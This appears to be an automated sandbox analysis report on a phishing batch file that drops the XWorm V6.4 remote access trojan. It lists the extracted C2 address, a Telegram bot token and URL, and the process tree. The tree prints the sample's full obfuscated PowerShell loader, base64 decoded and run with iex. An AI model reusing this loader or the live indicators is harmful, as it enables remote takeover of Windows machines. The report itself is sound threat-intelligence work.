Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20251016-en - resource tags
- submitted
29/10/2025, 11:11
General
- Target SPE-2025010-WA001310_pdf/RFQ2025010-WA001310 and Certificate_IMG.bat
- Size 122KB
- Sample251029-m98ncafr6y
- SHA256 84bc64c5f0b3e217896ebecb8b6d434d0c8fb4c33aa87125b3b8e2062aa283d5
Score
10/10
Malware Config
Extracted
Family
-
xworm
Version
-
XWorm V6.4
C2
-
178.16.55.129:6333
Mutex
-
o6MhfpGjJ5FpV4Wz
Attributes
-
Install_directory
%AppData%
-
install_file
XClient.exe
-
telegram
https://api.telegram.org/bot7409572452:AAGp8Ak5bqZu2IkEdggJaz2mnMYRTkTjv-U/sendMessage?chat_id=6870183115
aes.plain
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Detect Xworm Payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 4 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFQ2025010-WA001310 and Certificate_IMG.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFQ2025010-WA001310 and Certificate_IMG.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFQ2025010-WA001310 and Certificate_IMG.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('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'.Replace('bgjcrpkspwke','')))))""4⤵
- Badlisted process makes network request
- Drops startup file
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_e1syuodk.phy.ps1
XClient.exe
aoc.bat
memory/2640-38-0x0000017C2D270000-0x0000017C2D280000-memory.dmp
memory/2640-37-0x0000017C2D270000-0x0000017C2D280000-memory.dmp
memory/2640-35-0x0000017C49730000-0x0000017C497A6000-memory.dmp
memory/2640-34-0x0000017C49460000-0x0000017C494A4000-memory.dmp
memory/2640-26-0x0000017C2D270000-0x0000017C2D280000-memory.dmp
memory/5292-12-0x0000019757880000-0x0000019757890000-memory.dmp
memory/5292-13-0x0000019757880000-0x0000019757890000-memory.dmp
memory/5292-18-0x0000019757880000-0x0000019757890000-memory.dmp
memory/5292-19-0x0000019757880000-0x0000019757890000-memory.dmp
memory/5292-24-0x0000019757880000-0x0000019757890000-memory.dmp
memory/5292-15-0x0000019759D00000-0x0000019759D0E000-memory.dmp
memory/5292-14-0x0000019759CF0000-0x0000019759CF8000-memory.dmp
memory/5292-17-0x0000019759D50000-0x0000019759D60000-memory.dmp
memory/5292-2-0x0000019757880000-0x0000019757890000-memory.dmp
memory/5292-36-0x000001975A1D0000-0x000001975A1DE000-memory.dmp
memory/5292-8-0x0000019759AA0000-0x0000019759AC2000-memory.dmp
memory/5292-1-0x0000019757880000-0x0000019757890000-memory.dmp
memory/5292-40-0x000001975A2E0000-0x000001975A488000-memory.dmp
memory/5292-41-0x000001975A490000-0x000001975A49E000-memory.dmp